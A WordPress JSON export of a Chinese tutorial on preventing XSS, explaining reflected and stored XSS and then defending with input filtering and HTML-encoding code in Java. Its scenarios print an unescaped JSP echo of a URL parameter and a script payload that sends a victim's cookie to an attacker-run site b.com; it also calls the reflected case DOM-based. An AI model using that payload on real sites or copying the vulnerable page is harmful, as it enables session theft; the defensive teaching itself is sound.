{"id":2155,"date":"2017-04-22T14:29:56","date_gmt":"2017-04-22T06:29:56","guid":{"rendered":"http:\/\/www.daliane.com\/?p=2155"},"modified":"2017-04-22T14:29:56","modified_gmt":"2017-04-22T06:29:56","slug":"ru_he_fang_zhi_xss_gong_ji","status":"publish","type":"post","link":"http:\/\/www.daliane.com\/category\/jinjiaoyou\/ru_he_fang_zhi_xss_gong_ji\/","title":{"rendered":"\u5982\u4f55\u9632\u6b62XSS\u653b\u51fb"},"content":{"rendered":"<h1>XSS\u653b\u51fb<\/h1>\n<p>XSS\u653b\u51fb\u7c7b\u4f3c\u4e8eSQL\u6ce8\u5165\u653b\u51fb\uff0c\u653b\u51fb\u4e4b\u524d\uff0c\u6211\u4eec\u5148\u627e\u5230\u4e00\u4e2a\u5b58\u5728XSS\u6f0f\u6d1e\u7684\u7f51\u7ad9\uff0cXSS\u6f0f\u6d1e\u5206\u4e3a\u4e24\u79cd\uff0c\u4e00\u79cd\u662fDOM Based XSS\u6f0f\u6d1e\uff0c\u53e6\u4e00\u79cd\u662fStored XSS\u6f0f\u6d1e\u3002\u7406\u8bba\u4e0a\uff0c<strong>\u6240\u6709\u53ef\u8f93\u5165\u7684\u5730\u65b9<\/strong>\u6ca1\u6709\u5bf9\u8f93\u5165\u6570\u636e\u8fdb\u884c\u5904\u7406\u7684\u8bdd\uff0c\u90fd\u4f1a\u5b58\u5728XSS\u6f0f\u6d1e\uff0c\u6f0f\u6d1e\u7684\u5371\u5bb3\u53d6\u51b3\u4e8e\u653b\u51fb\u4ee3\u7801\u7684\u5a01\u529b\uff0c\u653b\u51fb\u4ee3\u7801\u4e5f\u4e0d\u5c40\u9650\u4e8escript\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-2156\" src=\"http:\/\/www.daliane.com\/wp-content\/uploads\/2017\/04\/u32606932002342414092fm23gp0-300x197.jpg\" alt=\"u=3260693200,2342414092&amp;fm=23&amp;gp=0\" width=\"300\" height=\"197\" srcset=\"http:\/\/www.daliane.com\/wp-content\/uploads\/2017\/04\/u32606932002342414092fm23gp0-300x197.jpg 300w, http:\/\/www.daliane.com\/wp-content\/uploads\/2017\/04\/u32606932002342414092fm23gp0.jpg 455w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<h2>DOM Based XSS<\/h2>\n<p>DOM Based XSS\u662f\u4e00\u79cd\u57fa\u4e8e\u7f51\u9875DOM\u7ed3\u6784\u7684\u653b\u51fb\uff0c\u8be5\u653b\u51fb\u7279\u70b9\u662f\u4e2d\u62db\u7684\u4eba\u662f\u5c11\u6570\u4eba\u3002<\/p>\n<p><strong>\u573a\u666f\u4e00<\/strong>\uff1a<\/p>\n<p>\u5f53\u6211\u767b\u5f55a.com\u540e\uff0c\u6211\u53d1\u73b0\u5b83\u7684\u9875\u9762\u67d0\u4e9b\u5185\u5bb9\u662f\u6839\u636eurl\u4e2d\u7684\u4e00\u4e2a\u53ebcontent\u53c2\u6570\u76f4\u63a5\u663e\u793a\u7684\uff0c\u731c\u6d4b\u5b83\u6d4b\u9875\u9762\u5904\u7406\u53ef\u80fd\u662f\u8fd9\u6837\uff0c\u5176\u5b83\u8bed\u8a00\u7c7b\u4f3c\uff1a<\/p>\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td valign=\"top\">\n<p align=\"left\">&lt;%@ page language=<em>&#8220;Java&#8221;\u00a0<\/em>contentType=<em>&#8220;text\/html; charset=UTF-8&#8221;\u00a0<\/em>pageEncoding=<em>&#8220;UTF-8&#8221;<\/em>%&gt;<\/p>\n<p align=\"left\">&lt;!DOCTYPEhtmlPUBLIC&#8221;-\/\/W3C\/\/DTD HTML 4.01 Transitional\/\/EN&#8221;&#8221;http:\/\/www.w3.org\/TR\/html4\/loose.dtd&#8221;&gt;<\/p>\n<p align=\"left\">&lt;html&gt;<\/p>\n<p align=\"left\">\u00a0\u00a0\u00a0 &lt;head&gt;<\/p>\n<p align=\"left\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 &lt;title&gt;XSS\u6d4b\u8bd5&lt;\/title&gt;<\/p>\n<p align=\"left\">\u00a0\u00a0\u00a0 &lt;\/head&gt;<\/p>\n<p align=\"left\">\u00a0\u00a0\u00a0 &lt;body&gt;<\/p>\n<p align=\"left\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u9875\u9762\u5185\u5bb9\uff1a&lt;%=request.getParameter(&#8220;content&#8221;)%&gt;<\/p>\n<p align=\"left\">\u00a0\u00a0\u00a0 &lt;\/body&gt;<\/p>\n<p>&lt;\/html&gt;<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>\u6211\u77e5\u9053\u4e86Tom\u4e5f\u6ce8\u518c\u4e86\u8be5\u7f51\u7ad9\uff0c\u5e76\u4e14\u77e5\u9053\u4e86\u4ed6\u7684\u90ae\u7bb1(\u6216\u8005\u5176\u5b83\u80fd\u63a5\u6536\u4fe1\u606f\u7684\u8054\u7cfb\u65b9\u5f0f)\uff0c\u6211\u505a\u4e00\u4e2a\u8d85\u94fe\u63a5\u53d1\u7ed9\u4ed6\uff0c\u8d85\u94fe\u63a5\u5730\u5740\u4e3a\uff1ahttp:\/\/www.a.com?content=&lt;script&gt;window.open(\u201cwww.b.com?param=\u201d+document.cookie)&lt;\/script&gt;\uff0c\u5f53Tom\u70b9\u51fb\u8fd9\u4e2a\u94fe\u63a5\u7684\u65f6\u5019(\u5047\u8bbe\u4ed6\u5df2\u7ecf\u767b\u5f55a.com)\uff0c\u6d4f\u89c8\u5668\u5c31\u4f1a\u76f4\u63a5\u6253\u5f00b.com\uff0c\u5e76\u4e14\u628aTom\u5728a.com\u4e2d\u7684cookie\u4fe1\u606f\u53d1\u9001\u5230b.com\uff0cb.com\u662f\u6211\u642d\u5efa\u7684\u7f51\u7ad9\uff0c\u5f53\u6211\u7684\u7f51\u7ad9\u63a5\u6536\u5230\u8be5\u4fe1\u606f\u65f6\uff0c\u6211\u5c31\u76d7\u53d6\u4e86Tom\u5728a.com\u7684cookie\u4fe1\u606f\uff0ccookie\u4fe1\u606f\u4e2d\u53ef\u80fd\u5b58\u6709\u767b\u5f55\u5bc6\u7801\uff0c\u653b\u51fb\u6210\u529f\uff01\u8fd9\u4e2a\u8fc7\u7a0b\u4e2d\uff0c\u53d7\u5bb3\u8005\u53ea\u6709Tom\u81ea\u5df1\u3002\u90a3\u5f53\u6211\u5728\u6d4f\u89c8\u5668\u8f93\u5165a.com?content=&lt;script&gt;alert(\u201cxss\u201d)&lt;\/script&gt;\uff0c\u6d4f\u89c8\u5668\u5c55\u793a\u9875\u9762\u5185\u5bb9\u7684\u8fc7\u7a0b\u4e2d\uff0c\u5c31\u4f1a\u6267\u884c\u6211\u7684\u811a\u672c\uff0c\u9875\u9762\u8f93\u51faxss\u5b57\u6837\uff0c\u8fd9\u662f\u653b\u51fb\u4e86\u6211\u81ea\u5df1\uff0c\u90a3\u6211\u5982\u4f55\u653b\u51fb\u522b\u4eba\u5e76\u4e14\u83b7\u5229\u5462\uff1f<\/p>\n<h2>Stored XSS<\/h2>\n<p>Stored XSS\u662f\u5b58\u50a8\u5f0fXSS\u6f0f\u6d1e\uff0c\u7531\u4e8e\u5176\u653b\u51fb\u4ee3\u7801\u5df2\u7ecf\u5b58\u50a8\u5230\u670d\u52a1\u5668\u4e0a\u6216\u8005\u6570\u636e\u5e93\u4e2d\uff0c\u6240\u4ee5\u53d7\u5bb3\u8005\u662f\u5f88\u591a\u4eba\u3002<\/p>\n<p><strong>\u573a\u666f\u4e8c<\/strong>\uff1a<\/p>\n<p>a.com\u53ef\u4ee5\u53d1\u6587\u7ae0\uff0c\u6211\u767b\u5f55\u540e\u5728a.com\u4e2d\u53d1\u5e03\u4e86\u4e00\u7bc7\u6587\u7ae0\uff0c\u6587\u7ae0\u4e2d\u5305\u542b\u4e86\u6076\u610f\u4ee3\u7801\uff0c&lt;script&gt;window.open(\u201cwww.b.com?param=\u201d+document.cookie)&lt;\/script&gt;\uff0c\u4fdd\u5b58\u6587\u7ae0\u3002\u8fd9\u65f6Tom\u548cJack\u770b\u5230\u4e86\u6211\u53d1\u5e03\u7684\u6587\u7ae0\uff0c\u5f53\u5728\u67e5\u770b\u6211\u7684\u6587\u7ae0\u65f6\u5c31\u90fd\u4e2d\u62db\u4e86\uff0c\u4ed6\u4eec\u7684cookie\u4fe1\u606f\u90fd\u53d1\u9001\u5230\u4e86\u6211\u7684\u670d\u52a1\u5668\u4e0a\uff0c\u653b\u51fb\u6210\u529f\uff01\u8fd9\u4e2a\u8fc7\u7a0b\u4e2d\uff0c\u53d7\u5bb3\u8005\u662f\u591a\u4e2a\u4eba\u3002<br \/>\nStored XSS\u6f0f\u6d1e\u5371\u5bb3\u6027\u66f4\u5927\uff0c\u5371\u5bb3\u9762\u66f4\u5e7f\u3002<\/p>\n<h1>XSS\u9632\u5fa1<\/h1>\n<p>\u6211\u4eec\u662f\u5728\u4e00\u4e2a\u77db\u76fe\u7684\u4e16\u754c\u4e2d\uff0c\u6709\u77db\u5c31\u6709\u76fe\u3002\u53ea\u8981\u6211\u4eec\u7684\u4ee3\u7801\u4e2d\u4e0d\u5b58\u5728\u6f0f\u6d1e\uff0c\u653b\u51fb\u8005\u5c31\u65e0\u4ece\u4e0b\u624b\uff0c\u6211\u4eec\u8981\u505a\u4e00\u4e2a\u6ca1\u6709\u7f1d\u7684\u86cb\u3002XSS\u9632\u5fa1\u6709\u5982\u4e0b\u65b9\u5f0f\u3002<\/p>\n<h2>\u5b8c\u5584\u7684\u8fc7\u6ee4\u4f53\u7cfb<\/h2>\n<p>\u6c38\u8fdc\u4e0d\u76f8\u4fe1\u7528\u6237\u7684\u8f93\u5165\u3002\u9700\u8981\u5bf9\u7528\u6237\u7684\u8f93\u5165\u8fdb\u884c\u5904\u7406\uff0c\u53ea\u5141\u8bb8\u8f93\u5165\u5408\u6cd5\u7684\u503c\uff0c\u5176\u5b83\u503c\u4e00\u6982\u8fc7\u6ee4\u6389\u3002<\/p>\n<h2>Html encode<\/h2>\n<p>\u5047\u5982\u67d0\u4e9b\u60c5\u51b5\u4e0b\uff0c\u6211\u4eec\u4e0d\u80fd\u5bf9\u7528\u6237\u6570\u636e\u8fdb\u884c\u4e25\u683c\u7684\u8fc7\u6ee4\uff0c\u90a3\u6211\u4eec\u4e5f\u9700\u8981\u5bf9\u6807\u7b7e\u8fdb\u884c\u8f6c\u6362\u3002<\/p>\n<table border=\"1\" width=\"675\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td valign=\"top\">\n<p align=\"left\">less-than character (&lt;)<\/p>\n<\/td>\n<td valign=\"top\">\n<p align=\"left\">&amp;lt;<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\">\n<p align=\"left\">greater-than character (&gt;)<\/p>\n<\/td>\n<td valign=\"top\">\n<p align=\"left\">&amp;gt;<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\">\n<p align=\"left\">ampersand character (&amp;)<\/p>\n<\/td>\n<td valign=\"top\">\n<p align=\"left\">&amp;amp;<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\">\n<p align=\"left\">double-quote character (&#8220;)<\/p>\n<\/td>\n<td valign=\"top\">\n<p align=\"left\">&amp;quot;<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\">\n<p align=\"left\">space character( )<\/p>\n<\/td>\n<td valign=\"top\">\n<p align=\"left\">&amp;nbsp;<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\">\n<p align=\"left\">Any ASCII code character whose code is greater-than or equal to 0x80<\/p>\n<\/td>\n<td valign=\"top\">\n<p align=\"left\">&amp;#&lt;number&gt;, where &lt;number&gt; is the ASCII character value.<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>\u6bd4\u5982\u7528\u6237\u8f93\u5165\uff1a&lt;script&gt;window.location.href=\u201dhttp:\/\/www.baidu.com\u201d;&lt;\/script&gt;\uff0c\u4fdd\u5b58\u540e\u6700\u7ec8\u5b58\u50a8\u7684\u4f1a\u662f\uff1a&amp;lt;script&amp;gt;window.location.href=&amp;quot;http:\/\/www.baidu.com&amp;quot;&amp;lt;\/script&amp;gt;\u5728\u5c55\u73b0\u65f6\u6d4f\u89c8\u5668\u4f1a\u5bf9\u8fd9\u4e9b\u5b57\u7b26\u8f6c\u6362\u6210\u6587\u672c\u5185\u5bb9\u663e\u793a\uff0c\u800c\u4e0d\u662f\u4e00\u6bb5\u53ef\u6267\u884c\u7684\u4ee3\u7801\u3002<\/p>\n<p>&nbsp;<\/p>\n<h1>\u5176\u5b83<\/h1>\n<div>\u00a0 \u00a0 \u00a0 \u00a0\u4e0b\u9762\u63d0\u4f9b\u4e24\u79cdHtml encode\u7684\u65b9\u6cd5\u3002<\/div>\n<div>\n<ul>\n<li>\u4f7f\u7528Apache\u7684commons-lang.jar<br \/>\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td valign=\"top\">\n<p align=\"left\">StringEscapeUtils.escapeHtml(str);\/\/ \u6c49\u5b57\u4f1a\u8f6c\u6362\u6210\u5bf9\u5e94\u7684ASCII\u7801\uff0c\u7a7a\u683c\u4e0d\u8f6c\u6362<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/li>\n<\/ul>\n<ul>\n<li>\u81ea\u5df1\u5b9e\u73b0\u8f6c\u6362\uff0c\u53ea\u8f6c\u6362\u90e8\u5206\u5b57\u7b26<br \/>\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td valign=\"top\">\n<p align=\"left\"><strong>private static<\/strong> String htmlEncode(<strong>char<\/strong> c) {<\/p>\n<p align=\"left\">\u00a0\u00a0\u00a0 <strong>switch<\/strong>(c) {<\/p>\n<p align=\"left\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <strong>case<\/strong> &#8216;&amp;&#8217;:<\/p>\n<p align=\"left\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <strong>return\u00a0<\/strong>&#8220;&amp;amp;&#8221;;<\/p>\n<p align=\"left\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <strong>case<\/strong> &#8216;&lt;&#8216;:<\/p>\n<p align=\"left\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <strong>return\u00a0<\/strong>&#8220;&amp;lt;&#8221;;<\/p>\n<p align=\"left\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <strong>case<\/strong> &#8216;&gt;&#8217;:<\/p>\n<p align=\"left\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <strong>return\u00a0<\/strong>&#8220;&amp;gt;&#8221;;<\/p>\n<p align=\"left\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <strong>case<\/strong> &#8216;&#8221;&#8216;:<\/p>\n<p align=\"left\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <strong>return\u00a0<\/strong>&#8220;&amp;quot;&#8221;;<\/p>\n<p align=\"left\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <strong>case<\/strong> &#8216; &#8216;:<\/p>\n<p align=\"left\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <strong>return\u00a0<\/strong>&#8220;&amp;nbsp;&#8221;;<\/p>\n<p align=\"left\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <strong>default<\/strong>:<\/p>\n<p align=\"left\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <strong>return<\/strong> c +\u00a0&#8220;&#8221;;<\/p>\n<p align=\"left\">\u00a0\u00a0\u00a0 }<\/p>\n<p align=\"left\">}<\/p>\n<p align=\"left\">\n<p align=\"left\">\/** \u5bf9\u4f20\u5165\u7684\u5b57\u7b26\u4e32<span style=\"text-decoration: underline;\">str<\/span>\u8fdb\u884c<span style=\"text-decoration: underline;\">Html<\/span> encode\u8f6c\u6362 *\/<\/p>\n<p align=\"left\"><strong>public static<\/strong> String htmlEncode(String str) {<\/p>\n<p align=\"left\">\u00a0\u00a0\u00a0 <strong>if\u00a0<\/strong>(str ==<strong>null<\/strong> || str.trim().equals(&#8220;&#8221;))\u00a0\u00a0\u00a0<strong>return<\/strong> str;<\/p>\n<p align=\"left\">\u00a0\u00a0\u00a0 StringBuilder encodeStrBuilder = <strong>new<\/strong> StringBuilder();<\/p>\n<p align=\"left\">\u00a0\u00a0\u00a0 <strong>for<\/strong> (<strong>int<\/strong> i = 0, len = str.length(); i &lt; len; i++) {<\/p>\n<p align=\"left\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 encodeStrBuilder.append(<em>htmlEncode<\/em>(str.charAt(i)));<\/p>\n<p align=\"left\">\u00a0\u00a0\u00a0 }<\/p>\n<p align=\"left\">\u00a0\u00a0\u00a0 <strong>return<\/strong> encodeStrBuilder.toString();<\/p>\n<p>}<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/li>\n<\/ul>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>XSS\u653b\u51fb XSS\u653b\u51fb\u7c7b\u4f3c\u4e8eSQL\u6ce8\u5165\u653b\u51fb\uff0c\u653b\u51fb\u4e4b\u524d\uff0c\u6211\u4eec\u5148\u627e\u5230\u4e00\u4e2a\u5b58\u5728XSS\u6f0f\u6d1e\u7684\u7f51\u7ad9\uff0cXSS\u6f0f\u6d1e\u5206\u4e3a\u4e24\u79cd\uff0c&#8230;<\/p>\n","protected":false},"author":2,"featured_media":2156,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_kad_post_transparent":"","_kad_post_title":"","_kad_post_layout":"","_kad_post_sidebar_id":"","_kad_post_content_style":"","_kad_post_vertical_padding":"","_kad_post_feature":"","_kad_post_feature_position":"","_kad_post_header":false,"_kad_post_footer":false,"footnotes":""},"categories":[83,38],"tags":[155],"_links":{"self":[{"href":"http:\/\/www.daliane.com\/category\/jinjiaoyou\/wp-json\/wp\/v2\/posts\/2155"}],"collection":[{"href":"http:\/\/www.daliane.com\/category\/jinjiaoyou\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.daliane.com\/category\/jinjiaoyou\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.daliane.com\/category\/jinjiaoyou\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"http:\/\/www.daliane.com\/category\/jinjiaoyou\/wp-json\/wp\/v2\/comments?post=2155"}],"version-history":[{"count":1,"href":"http:\/\/www.daliane.com\/category\/jinjiaoyou\/wp-json\/wp\/v2\/posts\/2155\/revisions"}],"predecessor-version":[{"id":2157,"href":"http:\/\/www.daliane.com\/category\/jinjiaoyou\/wp-json\/wp\/v2\/posts\/2155\/revisions\/2157"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/www.daliane.com\/category\/jinjiaoyou\/wp-json\/wp\/v2\/media\/2156"}],"wp:attachment":[{"href":"http:\/\/www.daliane.com\/category\/jinjiaoyou\/wp-json\/wp\/v2\/media?parent=2155"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.daliane.com\/category\/jinjiaoyou\/wp-json\/wp\/v2\/categories?post=2155"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.daliane.com\/category\/jinjiaoyou\/wp-json\/wp\/v2\/tags?post=2155"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}